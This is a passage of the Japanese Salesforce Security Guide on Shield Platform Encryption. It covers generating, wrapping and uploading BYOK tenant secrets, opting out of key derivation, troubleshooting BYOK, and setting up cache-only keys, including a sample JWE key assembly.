独自のオンプレミスリソースを使用して、プログラムによってテナント
の秘密を生成する。

ヒント: このプロセスのガイドとして役立つスクリプトが用意されて
います (ページ 165)。

• テナントの秘密を、生成、保護し、テナントの秘密へのアクセス権を共
有できる鍵仲介パートナーを使用する。

2. 生成した BYOK 互換の証明書からの公開鍵を使用してテナントの秘密をラッ
ピングします。使用するアルゴリズムは、デフォルトの SHA1 パディングア
ルゴリズムです。
OAEP パディング方式を指定します。暗号化されたテナントの秘密ファイルと
ハッシュされたテナントの秘密ファイルが base64 を使用してエンコードされ
ているようにします。

3. この暗号化されたテナントの秘密を base64 にエンコードします。
4. プレーンテキストのテナントの秘密の SHA-256 ハッシュを計算します。
5. プレーンテキストのテナントの秘密の SHA-256 ハッシュを base64 にエンコー

ドします。
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BYOK のテナントの秘密を生成するためのサンプルスクリプト

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

テナントの秘密のアップロード準備に役立つヘルパースクリプトが用意されて
います。このスクリプトは、テナントの秘密として乱数を生成し、秘密の SHA256

ハッシュを計算し、証明書からの公開鍵を使用して秘密を暗号化します。
1. Salesforce 知識ベースからスクリプトをダウンロードします。スクリプトを証

明書と同じディレクトリに保存します。
2. 次のように、証明書名を指定してスクリプトを実行します: ./secretgen.sh

my_certificate.crt

この証明書名を実際にダウンロードした証明書のファイル名に置き換えてく
ださい。

ヒント: 必要な場合は、chmod +w secretgen.shを使用してファイル
への各込み権限があることを確認し、chmod 775 を使用してファイル
を実行可能にしてください。

3. スクリプトによって複数のファイルが生成されます。末尾に .b64 サフィック
スを持つ 2 つのファイルを探します。
末尾に .b64 があるファイルは Base64 でエンコードされた暗号化されたテナン
トの秘密と、プレーンテキストのテナントの秘密の Base64 でエンコードされたハッシュです。次のステッ
プでは、これらの両方のファイルが必要になります。
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BYOK テナントの秘密のアップロード

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロードする
• 「暗号化鍵の管理」

BYOK 互換のテナントの秘密が生成されたら、Salesforce にアップロードします。
Shield 鍵管理サービス (KMS) では、テナントの秘密を使用して組織固有のデータ
暗号化鍵を派生させます。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. [Bring Your Own Key] をクリックします。
3. [テナントの秘密をアップロード] セクションで、暗号化された鍵素材とハッ

シュされたプレーンテキストの鍵素材の両方を添付します。[アップロード]

をクリックします。

このテナントの秘密は自動的に有効なテナントの秘密になります。
これで、テナントの秘密を鍵の派生に使用する準備ができました。これ以
降、Shield KMS はテナントの秘密を使用して組織固有のデータ暗号化鍵を派生
させます。アプリケーションサーバはこの鍵を使用してユーザのデータを暗
号化および復号化します。
データ暗号化鍵の派生を望まない場合は、鍵派生を除外し、独自に最終的なデータ暗号化鍵をアップロー
ドできます。詳細は、Salesforce ヘルプの「BYOK を使用した鍵派生の除外」を参照してください。

メモ: 有効およびアーカイブされたテナントの秘密は種別ごとに最大 50 件まで使用できます。たとえ
ば、Salesfoce のデータのテナントの秘密は有効を 1 件、アーカイブを 49 件使用でき、Analytics テナント
の秘密も同じ数を使用できます。この制限には、Salesforce が生成した鍵素材と、顧客が指定した鍵素
材が含まれます。
制限に達した場合、別の鍵を再度有効化、再度アーカイブ、またはコールアウトを作成するには、既
存の鍵を破棄します。鍵を破棄する前に、有効な鍵で暗号化するデータを同期します。

4. テナントの秘密をエクスポートし、組織のセキュリティポリシーで規定された方法でバックアップします。
破棄されたテナントの秘密を復元するには、再インポートします。エクスポートされたテナントの秘密は、
アップロードしたテナントの秘密とは異なります。異なる鍵で暗号化されていて、追加のメタデータが埋
め込まれています。Salesforce ヘルプの「テナントの秘密のバックアップ」を参照してください。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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BYOK を使用した鍵派生の除外

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロードする
• 「暗号化鍵の管理」

BYOK による鍵派生の除外
を許可する
• 「アプリケーションの

カスタマイズ」

および

暗号化鍵の管理

Shield Platform Encryption でデータ暗号化鍵を派生させない場合は、鍵派生を除外
し、独自に最終的なデータ暗号化鍵をアップロードできます。鍵派生を除外す
ると、データの暗号化と復号化に使用される鍵素材を、さらに細かく制御でき
ます。
選択した方法を使用して、顧客が指定したデータ暗号化鍵を生成します。次に、
鍵の SHA256 ハッシュを計算し、BYOK 互換の証明書からの公開鍵を使用して暗号
化します。顧客が指定した鍵素材の準備方法についての詳細は、「BYOK テナン
トの秘密のアップロード」を参照してください。
1. 組織で Bring Your Own Keys 機能が有効化されていることを確認します。この機

能を有効にするには、Salesforce カスタマーサポートにご連絡ください。
2. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[高度な設定] を選択します。
3. [BYOK による鍵派生の除外を許可] を有効にします。

[BYOK による鍵派生の除外を許可] 設定をプログラムで有効にすることもでき
ます。詳細は、『メタデータ API 開発者ガイド』の「EncryptionKeySettings」を
参照してください。
これで鍵素材をアップロードするときに鍵派生を除外できるようになりま
す。

4. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力
し、[鍵の管理] を選択します。

5. [Bring Your Own Key] をクリックします。
6. [Salesforce 鍵派生を使用] の選択を解除します。

7. [テナントの秘密をアップロード] セクションで、暗号化されたデータの暗号化鍵とハッシュされたプレー
ンテキストデータの暗号化鍵の両方を添付します。

8. [アップロード] をクリックします。
このデータ暗号化鍵は自動的に有効な鍵になります。
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これ以降、Shield 鍵管理サービス (KMS) は派生プロセスをスキップし、データ暗号化鍵を使用してデータの
暗号化と復号化を直接行います。すべての鍵素材の派生状況は、[鍵の管理] ページで確認できます。

9. データ暗号化鍵をエクスポートし、組織のセキュリティポリシーで規定された方法でバックアップします。
データ暗号化鍵を復元するには、再インポートします。エクスポートされた暗号化鍵は、アップロードし
たデータ暗号化鍵とは異なります。異なる鍵で暗号化されていて、追加のメタデータが埋め込まれていま
す。Salesforce ヘルプの「テナントの秘密のバックアップ」を参照してください。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点

BYOK 鍵の適切な管理

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Salesforce 外で独自の鍵素材を作成および保存する場合は、その鍵素材を保護す
ることが重要です。鍵素材をアーカイブするための信頼できる場所を確保し、
テナントの秘密やデータ暗号化鍵をバックアップなしでハードドライブに保存
しないようにします。
インポートした鍵素材を Salesforce にアップロードした後にすべてバックアップ
します。これにより、有効な鍵素材のコピーがあるようにします。Salesforce ヘ
ルプの「テナントの秘密のバックアップ」を参照してください。
鍵の循環に関する会社のポリシーを確認します。鍵の循環と更新は独自のスケ
ジュールで行うことができます。「暗号化鍵の循環」を参照してください。

重要: テナントの秘密をバックアップしておらず、誤って破棄してしまっ
た場合、Salesforce ではそれを取り戻す支援はできません。

168

鍵の管理と循環Salesforce セキュリティガイド

https://help.salesforce.com/apex/HTViewHelpDoc?id=security_pe_import_export_keys.htm&language=ja
https://help.salesforce.com/apex/HTViewHelpDoc?id=security_pe_import_export_keys.htm&language=ja
https://help.salesforce.com/apex/HTViewHelpDoc?id=security_pe_rotate_keys.htm&language=ja


Bring Your Own Key のトラブルシューティング

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

次に紹介するよくある質問を、Shield Platform Encryption の Bring Your Own Key サービ
スで問題が発生した場合のトラブルシューティングに役立ててください。
提供されたスクリプトを使用しようとしていますが、実行できません。

オペレーティングシステムに適したスクリプトを実行していることを確認し
ます。Windows マシンで作業している場合は、Linux エミュレータをインストー
ルして Linux スクリプトを使用することができます。次の問題によってスク
リプトを実行できない場合もあります。
• スクリプトを実行しようとしているフォルダでの更新権限がない。更新

権限を持っているフォルダからスクリプトを実行するようにします。
• スクリプトが参照する証明書が存在しない。適切に証明書を生成したこ

とを確認します。
• 証明書が存在しないか、正しい名前で参照されていない。スクリプト内

で証明書の正しいファイル名を入力したことを確認します。
提供されたスクリプトを使用したいのですが、独自の乱数ジェネレータも使用
する必要があります。

Salesforce が提供するスクリプトでは、乱数ジェネレータを使用して、テナントの秘密として使用するラン
ダムな値を作成します。別のジェネレータを使用する場合は、head -c 32 /dev/urandom | tr '\n'

=  (Mac バージョンでは head -c 32 /dev/urandom > $PLAINTEXT_SECRET) を、希望するジェネレータ
を使用して乱数を生成するコマンドに置き換えます。

テナントの秘密をハッシュするために独自のハッシュプロセスを使用したい場合はどうなりますか?

問題ありません。結果が次の要件を満たすようにしてください。
• SHA-256 アルゴリズムを使用している。
• base64 でエンコードされたハッシュ済みのテナントの秘密が作成される。
• 暗号化する前に乱数のハッシュを生成する。
これらの 3 つの条件のいずれかが満たされていない場合は、テナントの秘密をアップロードできません。

テナントの秘密を Salesforce にアップロードする前に、どのように暗号化する必要がありますか?

提供されたスクリプトを使用している場合は、暗号化プロセスは問題なく処理されます。提供されたスク
リプトを使用しない場合は、テナントの秘密を暗号化するときに OAEP パディング方式を指定します。暗号
化されたテナントの秘密ファイルとハッシュされたテナントの秘密ファイルが base64 を使用してエンコー
ドされているようにします。これらの条件のいずれかが満たされていない場合は、テナントの秘密をアッ
プロードできません。
提供されたスクリプトを使用しない場合は、ヘルプトピック「テナントの秘密の生成とラッピング」の手
順に従ってください。

暗号化されたテナントの秘密とハッシュされたテナントの秘密をアップロードできません。
いくつかのエラーによりファイルをアップロードできない場合があります。次の表を使用して、テナント
の秘密と証明書に問題がないことを確認してください。
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解決方法考えられる原因

証明書の日付を確認します。期限が切れている場合は、証明書を更新する
か、別の証明書を使用できます。

期限切れの証明書を使用し
てファイルが生成された。

証明書の設定に Bring Your Own Key 機能との互換性があることを確認します。
[証明書] ページの [証明書と鍵の編集] セクションで、4096 ビット証明書サイ

証明書が無効になっている
か、有効な Bring Your Own

Key 証明書ではない。 ズを選択し、エクスポート可能な非公開鍵を無効にし、プラットフォームの
暗号化を有効にします。

暗号化されたテナントの秘密とハッシュされたテナントの秘密の両方を添付
していることを確認します。これらの両方のファイルのサフィックスが .b64

になっている必要があります。

暗号化されたテナントの秘
密とハッシュされたテナン
トの秘密の両方を添付して
いない。

このエラーの原因となる問題はいくつかあります。通常は、テナントの秘密
またはハッシュされたテナントの秘密が、正しい SSL パラメータを使用して

テナントの秘密またはハッ
シュされたテナントの秘密

生成されていないことが原因です。OpenSSL を使用している場合は、スクリが正しく生成されていな
い。 プトを参照して、テナントの秘密の生成とハッシュに使用する正しいパラ

メータの例を確認できます。OpenSSL 以外のライブラリを使用している場合
は、そのライブラリのサポートページでテナントの秘密の生成とハッシュの
両方の正しいパラメータを見つけるためのヘルプ情報を確認してください。
まだ問題が解決しない場合は Salesforce のアカウントエグゼクティブにお問い
合わせください。Salesforce の支援担当者をご紹介します。

まだ鍵に関する問題があります。どこに問い合わせすればよいですか?

まだ質問がある場合は、アカウントエグゼクティブにお問い合わせください。この機能を専門とするサポー
トチームをご紹介します。
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キャッシュのみの鍵サービス

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。
Salesforce Shield または
Shield Platform Encryption、
およびキャッシュのみの
鍵サービスの購入が必要
です。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption のキャッシュのみの鍵サービスは、保持されない鍵素材
に対する独自のニーズに対処します。鍵素材を Salesforce の外部に保存し、キャッ
シュのみの鍵サービスを使用して、制御する鍵サービスから鍵をオンデマンド
で取得できます。鍵サービスにより、設定した安全なチャネルを介して鍵が転
送され、キャッシュのみの鍵サービスによって即時の暗号化操作および復号化
操作に鍵が使用されます。Salesforce は、どのレコードのシステムまたはバック
アップにもキャッシュのみの鍵を保持しません。鍵素材はいつでも取り消せま
す。

このセクションの内容:

1. キャッシュのみの鍵のしくみ
Shield Platform Encryption のキャッシュのみ鍵サービスでは、各種の鍵サービス
を使用して、鍵素材を生成、保護、および保存できます。社内鍵サービスを
使用するか、独自にクラウドベースの鍵サービスをホストするか、またはク
ラウドベースの鍵仲介ベンダーを使用することができます。

2. キャッシュのみの鍵の前提条件と用語
Shield Platform Encryption のキャッシュのみの鍵サービスでは、鍵素材をより詳細に制御できます。キャッシュ
のみの鍵を使用すると、より多くの鍵の管理タスクを制御できます。サービスの使用を開始する前に、
Salesforce の BYOK サービスと互換性のある方法で鍵素材を作成およびホストする方法を理解します。

3. 鍵素材の作成およびアセンブル
Shield Platform Encryption のキャッシュのみ鍵サービスは、JSON 応答で返され、JSON Web Encryption (JWE) でラッ
プされる 256 ビット AES 鍵と互換性があります。

4. キャッシュのみの鍵のコールアウト接続の設定
指定ログイン情報を使用して、コールアウトのエンドポイントを指定し、エンドポイントから取得する鍵
を識別します。

5. キャッシュのみの鍵のリプレイ検出の追加
リプレイ検出は、コールアウトが不正に傍受された場合にキャッシュのみの鍵を保護します。有効化する
と、リプレイ検出は、RequestIdentifier という自動生成された一意のマーカーをすべてのコールアウトに挿入
します。RequestIdentifier には、鍵識別子、そのコールアウトインスタンス用に生成された nonce、エンドポ
イントから要求される nonce が含まれます。RequestIdentifier は、有効な各コールアウト要求のランダムな 1

回限りの識別子として機能します。RequestIdentifier を受け入れて返すように鍵サービスを設定すると、
RequestIdentifier が欠落または不一致のコールアウトはすべて中止されます。

6. キャッシュのみの鍵の接続の確認
キャッシュのみの鍵素材は Salesforce の外部に保存されるため、機能するコールアウト接続を維持すること
が重要です。[コールアウトチェック] ページを使用して接続を監視し、鍵サービスでの鍵の取得を妨げる
可能性がある鍵サービスの中断にすばやく対応します。

7. キャッシュのみの鍵の破棄
キャッシュのみの鍵を破棄すると、キャッシュ内の鍵と、鍵サービスへのコールアウト接続の 2 つが破棄
されます。
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8. キャッシュのみの鍵の再有効化
Salesforce で破棄された鍵に指定ログイン情報がまだ関連付けられている場合、[設定] から、または API を使
用してプログラムで破棄されたキャッシュのみの鍵を再有効化できます。破棄された鍵を再有効化すると、
鍵が有効になります。破棄された鍵を再有効化する前に、対応する鍵サービス接続が回復していることを
確認します。

9. キャッシュのみの鍵に関する考慮事項
次の考慮事項は、Shield Platform Encryption のキャッシュのみの鍵サービスを使用して暗号化するすべてのデー
タに適用されます。

10. キャッシュのみの鍵のトラブルシューティング
次に紹介するよくある質問を、Shield Platform Encryption のキャッシュのみの鍵サービスで問題が発生した場
合のトラブルシューティングに役立ててください。

キャッシュのみの鍵のしくみ
Shield Platform Encryption のキャッシュのみ鍵サービスでは、各種の鍵サービスを使用して、鍵素材を生成、保
護、および保存できます。社内鍵サービスを使用するか、独自にクラウドベースの鍵サービスをホストする
か、またはクラウドベースの鍵仲介ベンダーを使用することができます。
図 1 と 2 は、指定された鍵サービスから Salesforce がオンデマンドでどのように鍵を取得するかを示していま
す。社内鍵サービスまたはクラウドベースの鍵サービスのどちらに鍵を保存していても、フローは同じです。
ユーザが暗号化データにアクセスするか、機密データを暗号化データ要素に追加すると、キャッシュのみの
鍵サービスが鍵サービスに対してコールアウトを実行します。鍵サービスは、 JSON Web Encryption 形式でセキュ
アにラップされた鍵素材を、設定したセキュアな認証済みチャネルを通じて渡します。

図 1: 社内鍵サービス
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図 2: クラウドベースの鍵サービス
Shield KMS のコア機能である拡張キャッシュコントロールによって、キャッシュ内にある鍵素材はセキュアに
保存されます。Shield KMS は取得した鍵素材を組織固有の AES 256 ビットキャッシュ暗号化鍵で暗号化し、暗号
化した鍵素材をキャッシュに保存して暗号化および復号化操作に使用できるようにします。HSM により保護さ
れた鍵は、キャッシュ内のキャッシュ暗号化鍵を保護し、キャッシュ暗号化鍵は、鍵の破棄と循環のような鍵
ライフサイクルイベントに伴い循環します。
拡張キャッシュコントロールは、データの暗号化と復号化に使用される鍵素材の一元化された情報源となりま
す。後続の暗号化要求と複合化要求は、キャッシュのみの鍵が失効または循環するか、キャッシュが消去され
るまで暗号化鍵キャッシュを使用します。キャッシュが消去されると、キャッシュのみの鍵サービスは指定さ
れた鍵サービスから鍵素材を取得します。キャッシュは 72 時間ごとに定期的に消去され、特定の Salesforce 操
作では平均して 24 時間ごとにキャッシュが消去されます。データ暗号化鍵を破棄すると、キャッシュに保存
されている、対応するデータ暗号化鍵が無効になります。
キャッシュのみの鍵は、鍵派生プロセスをスキップするため、データの暗号化と復号化に直接使用されます。

キャッシュのみの鍵の前提条件と用語
Shield Platform Encryption のキャッシュのみの鍵サービスでは、鍵素材をより詳細に制御できます。キャッシュの
みの鍵を使用すると、より多くの鍵の管理タスクを制御できます。サービスの使用を開始する前に、Salesforce

の BYOK サービスと互換性のある方法で鍵素材を作成およびホストする方法を理解します。

前提条件
1. Salesforce 組織を準備します。組織に、Salesforce が生成したか、顧客が指定した有効な「Salesforce のデータ」

鍵が少なくとも 1 つあることを確認します。[設定] の [鍵の管理] ページで [テナントの秘密を生成]をクリッ
クすることで、テナントの秘密を作成できます。
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2. 鍵素材を生成してホストします。キャッシュのみの鍵の交換プロトコルと形式では、鍵が所定の JSON Web

Encryption (JWE) でラップされている必要があります。この形式では、鍵の暗号化に RSAES-OAEP、コンテンツ
の暗号化に AES GCM を使用します。
鍵素材の生成、保存、バックアップにはセキュアで信頼できるサービスを使用します。

3. 信頼できる高可用性の鍵サービスを使用および維持します。受け入れ可能なサービスレベル契約 (SLA)、事
前定義されたメンテナンス手順、ビジネス継続性へのあらゆる潜在的な影響を軽減するプロセスを備えた
高可用性の鍵サービスを選択します。
Salesforce と鍵サービス間の接続が切断されると、キャッシュのみの鍵サービスは、鍵素材がキャッシュ内
にある限り、データの暗号化と復号化ができます。ただし、鍵がキャッシュ内にある時間はそれほど長く
ありません。キャッシュは 72 時間ごとに定期的に消去されますが、一部の Salesforce 操作では 24 時間ごとに
キャッシュが消去されます。
鍵素材がキャッシュ内になく、鍵サービスとの接続が切断された場合、ユーザはレコードの暗号化と復号
化ができません。Salesforce がいつでも接続できる鍵サービスを必ず使用してください。これは、年度末や
四半期末のような繁忙期には特に重要です。

4. セキュアなコールアウトエンドポイントを維持します。キャッシュのみの鍵の交換プロトコルでは、鍵が
所定の JSON 形式でラップされている必要があります。鍵応答内のラップされた鍵を Salesforce が要求できる
場所でホストします。
キャッシュのみの鍵サービスは、指定ログイン情報を使用して、許可された IP アドレスとドメインへのセ
キュアな認証済み接続を確立します。広く使われている認証形式 (Mutual TLS や OAuth など) を使用するよう
に指定ログイン情報を設定できます。これらの認証プロトコルはいつでも変更できます。

5. 鍵サービスログにエラーがないか能動的に監視します。Salesforce では Shield Platform Encryption サービスに関
する支援はできますが、鍵素材のホストに使用する高可用性の鍵サービスはお客様の責任で維持する必要
があります。RemoteKeyCalloutEvent オブジェクトを使用してキャッシュのみの鍵イベントを確認または追跡
できます。

警告: 鍵素材のセキュリティ保護とバックアップは、鍵を管理するお客様の責任で行います。暗号化
鍵キャッシュの外部に保存されている鍵素材が失われると、Salesforce は鍵を取得できません。

6. 鍵素材の形式設定とアセンブルの方法を理解します。Salesforce の外部にホストされている鍵素材の形式は、
キャッシュのみの鍵サービスと互換性のある方法で設定します。次のコンポーネントを必要な形式で生成
できるようにします。

表 2 : キャッシュのみの鍵コンポーネント
形式コンポーネント

AES 256 ビットデータ暗号化鍵 (DEK)

AES 256 ビットコンテンツ暗号化鍵 (CEK)

派生した組織固有のテナントの秘密鍵で非公開鍵が
暗号化されている、4096 ビット RSA 証明書

BYOK 互換の証明書

GitHub のサンプルを参照JSON Web Encryption コンテンツおよびヘッダー
RSA-OAEPCEK を暗号化するためのアルゴリズム
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形式コンポーネント

A256GCMDEK を暗号化するためのアルゴリズム

数字、大文字、小文字、ピリオド、ハイフン、下線
を使用可能

一意の鍵識別子

base64url でエンコード初期化ベクトル

128 ビット 16 進数でエンコードされ、ランダムに生
成された識別子

JSON Web トークン ID (JTI)

鍵素材のアセンブルについての詳細は、「キャッシュのみの鍵の生成とアセンブル]」セクションを参照して
ください。例とサンプルユーティリティについては、GitHub のキャッシュのみの鍵ラッパーも参照してくださ
い。

用語
キャッシュのみの鍵サービスでは、次のような固有の用語が使用されます。
コンテンツ暗号化鍵

鍵サービスのエンドポイントは、鍵要求ごとに一意のコンテンツ暗号化鍵を生成します。コンテンツ暗号
化鍵は、データ暗号化鍵をラップし、データ暗号化鍵は鍵暗号化鍵で暗号化され、鍵応答の JWE ヘッダー
に配置されます。

JSON Web Encryption

Shield Platform Encryption サービスがコンテンツの暗号化に使用する JSON ベースの構造。JSON Web Encryption

(JWE) は、鍵の暗号化に RSAES-OAEP、コンテンツの暗号化に AES GCM を使用します。
JSON Web トークン ID

JSON Web トークンの一意の識別子。JSON Web トークンは、ID およびセキュリティ情報をセキュリティドメ
イン全体で共有できるようにします。

鍵識別子
鍵 ID (KID) は鍵の一意の識別子です。KID は、指定ログイン情報でサフィックスとして使用され、応答内の
KID の検証に使用されます。[設定] で、[一意の鍵識別子] 項目にこの識別子を入力します。
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鍵素材の作成およびアセンブル

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。
Salesforce Shield または
Shield Platform Encryption、
およびキャッシュのみの
鍵サービスの購入が必要
です。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption のキャッシュのみ鍵サービスは、JSON 応答で返され、JSON

Web Encryption (JWE) でラップされる 256 ビット AES 鍵と互換性があります。
キャッシュのみの鍵素材は JSON 形式でラップされます。この記事では、キャッ
シュのみの鍵の例を使用して鍵をアセンブルするときに鍵素材がどう変化する
かを説明します。
1. 256 ビット AES データ暗号化鍵を生成します。任意の暗号論的にセキュアな方

法を使用できます。
2. 暗号論的にセキュアな方法を使用して、256 ビット AES コンテンツ暗号化鍵を

生成します。
3. BYOK 互換の証明書を生成してダウンロードします。
4. JWE で保護されたヘッダーを作成します。JWE で保護されたヘッダーとは、3

つのクレーム (コンテンツ暗号化鍵の暗号化に使用されるアルゴリズム、デー
タ暗号化鍵の暗号化に使用されるアルゴリズム、キャッシュのみの鍵の一意
の ID) が含まれる JSON オブジェクトです。初めに次のヘッダー例を使用しま
す。
{"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b"}

5. JWE で保護されたヘッダーを BASE64URL(UTF8(JWE Protected Header)) としてエンコードします。
eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00iLCJraWQiOiI5ODJjMzc1Yi1mNDZiLTQ0MjMtOGMy
ZC00ZDFhNjkxNTJhMGIifQ

6. RSAES-OAEP アルゴリズムを使用してコンテンツ暗号化鍵を BYOK 証明書からの公開鍵で暗号化します。次
に、この暗号化されたコンテンツ暗号化鍵を BASE64URL(Encrypted CEK) としてエンコードします。
l92QA-R7b6Gtjo0tG4GlylJti1-Pf-519YpStYOp28YToMxgUxPmx4NR_myvfT24oBCWkh6hy_dqAL7JlVO4
49EglAB_i9GRdyVbTKnJQ1OiVKwWUQaZ9jVNxFFUYTWWZ-sVK4pUw0B3lHwWBfpMsl4jf0exP5-5amiTZ5oP
0rkW99ugLWJ_7XlyTuMIA6VTLSpL0YqChH1wQjo12TQaWG_tiTwL1SgRd3YohuMVlmCdEmR2TfwTvryLPx4K
bFK3Pv5ZSpSIyreFTh12DPpmhLEAVhCBZxR4-HMnZySSs4QorWagOaT8XPjPv46m8mUATZSD4hab8v3Mq4H3
3CmwngZCJXX-sDHuax2JUejxNC8HT5p6sa_I2gQFMlBC2Sd4yBKyjlDQKcSslCVav4buG8hkOJXY69iW_zhz
tV3DoJJ90l-EvkMoHpw1llU9lFhJMUQRvvocfghs2kzy5QC8QQt4t4Wu3p7IvzeneL5I81QjQlDJmZhbLLor
FHgcAs9_FMwnFYFrgsHP1_v3Iqy7zJJc60fCfDaxAF8Txj_LOeOMkCFl-9PwrULWyRTLMI7CdZIm7jb8v9AL
xCmDgqUi1yvEeBJhgMLezAWtxvGGkejc0BdsbWaPFXlI3Uj7C-Mw8LcmpSLKZyEnhj2x-3Vfv5hIVauC6ja1
B6Z_UcqXKOc

7. データ暗号化鍵の AES ラッピングへの入力として使用する初期化ベクトルを生成します。次に、それを
base64url でエンコードします。
N2WVMbpAxipAtG9O

8. データ暗号化鍵をコンテンツ暗号化鍵でラップします。
a. JWE ヘッダーを ASCII(BASE64URL(UTF8(JWE Protected Header))) としてエンコードします。
b. AES GCM アルゴリズムを使用してデータ暗号化鍵に対する認証済み暗号化を再形成します。暗号化鍵と

してのコンテンツ暗号化鍵、初期化ベクトル (base64URL エンコードバージョンではなくバイト)、および
追加の認証済みデータ値を使用し、128 ビット認証タグ出力を要求します。
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c. 生成された暗号化テキストを BASE64URL(Ciphertext) としてエンコードします。
d. 認証タグを BASE64URL(Authentication Tag) としてエンコードします。
63wRVVKX0ZOxu8cKqN1kqN-7EDa_mnmk32DinS_zFo4

および
HC7Ev5lmsbTgwyGpeGH5Rw

9. すべての先行値のコンパクトな逐次化として JWE をアセンブルします。ピリオドで区切られた値を連結し
ます。
eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00iLCJraWQiOiI5ODJjMzc1Yi1mNDZiLTQ0MjMtOGMy
ZC00ZDFhNjkxNTJhMGIifQ.l92QA-R7b6Gtjo0tG4GlylJti1-Pf-519YpStYOp28YToMxgUxPmx4NR_myvf
T24oBCWkh6hy_dqAL7JlVO449EglAB_i9GRdyVbTKnJQ1OiVKwWUQaZ9jVNxFFUYTWWZ-sVK4pUw0B3lHwWB
fpMsl4jf0exP5-5amiTZ5oP0rkW99ugLWJ_7XlyTuMIA6VTLSpL0YqChH1wQjo12TQaWG_tiTwL1SgRd3Yoh
uMVlmCdEmR2TfwTvryLPx4KbFK3Pv5ZSpSIyreFTh12DPpmhLEAVhCBZxR4-HMnZySSs4QorWagOaT8XPjPv
46m8mUATZSD4hab8v3Mq4H33CmwngZCJXX-sDHuax2JUejxNC8HT5p6sa_I2gQFMlBC2Sd4yBKyjlDQKcSsl
CVav4buG8hkOJXY69iW_zhztV3DoJJ90l-EvkMoHpw1llU9lFhJMUQRvvocfghs2kzy5QC8QQt4t4Wu3p7Iv
zeneL5I81QjQlDJmZhbLLorFHgcAs9_FMwnFYFrgsHP1_v3Iqy7zJJc60fCfDaxAF8Txj_LOeOMkCFl-9Pwr
ULWyRTLMI7CdZIm7jb8v9ALxCmDgqUi1yvEeBJhgMLezAWtxvGGkejc0BdsbWaPFXlI3Uj7C-Mw8LcmpSLKZ
yEnhj2x-3Vfv5hIVauC6ja1B6Z_UcqXKOc.N2WVMbpAxipAtG9O.63wRVVKX0ZOxu8cKqN1kqN-7EDa_mnmk
32DinS_zFo4.HC7Ev5lmsbTgwyGpeGH5Rw

このプロセスの詳細な例については、GitHub でキャッシュのみの鍵ラッパーのサンプルを参照してください。
このリポジトリのユーティリティ、または任意の別のサービスを使用できます。
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キャッシュのみの鍵のコールアウト接続の設定

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。
Salesforce Shield または
Shield Platform Encryption、
およびキャッシュのみの
鍵サービスの購入が必要
です。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

指定ログイン情報を作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

BYOK でキャッシュのみの
鍵を許可する
• 「アプリケーションの

カスタマイズ」

および

暗号化鍵の管理

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

指定ログイン情報を使用して、コールアウトのエンドポイントを指定し、エン
ドポイントから取得する鍵を識別します。
1. 組織に、Salesforce が生成したか、顧客が指定した有効な「Salesforce のデータ」

鍵が少なくとも 1 つあることを確認します。[設定] の [鍵の管理] ページで [テ
ナントの秘密を生成] をクリックすることで、テナントの秘密を作成できま
す。

2. [設定] から、[クイック検索] ボックスに「指定ログイン情報」と入力し、[指定
ログイン情報] を選択します。

ヒント: 指定ログイン情報では認証済みコールアウトメカニズムが提供
されます。Salesforce はこれを使用して鍵素材を取得できます。指定ログ
イン情報は Salesforce で許可リストに登録されるため、Salesforce の外部に
保存された鍵素材のセキュアで便利なチャネルになります。
指定ログイン情報の詳細、定義方法、および認証設定へのアクセス権の
付与方法については、Salesforce ヘルプを参照してください。

3. 指定ログイン情報を作成します。Salesforce が鍵素材の取得に使用できる HTTPS

エンドポイントを指定します。
4. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[高度な設定] を選択します。
5. [BYOK でキャッシュのみの鍵を許可] を選択します。

キャッシュのみの鍵サービスをプログラムで有効にすることもできます。詳
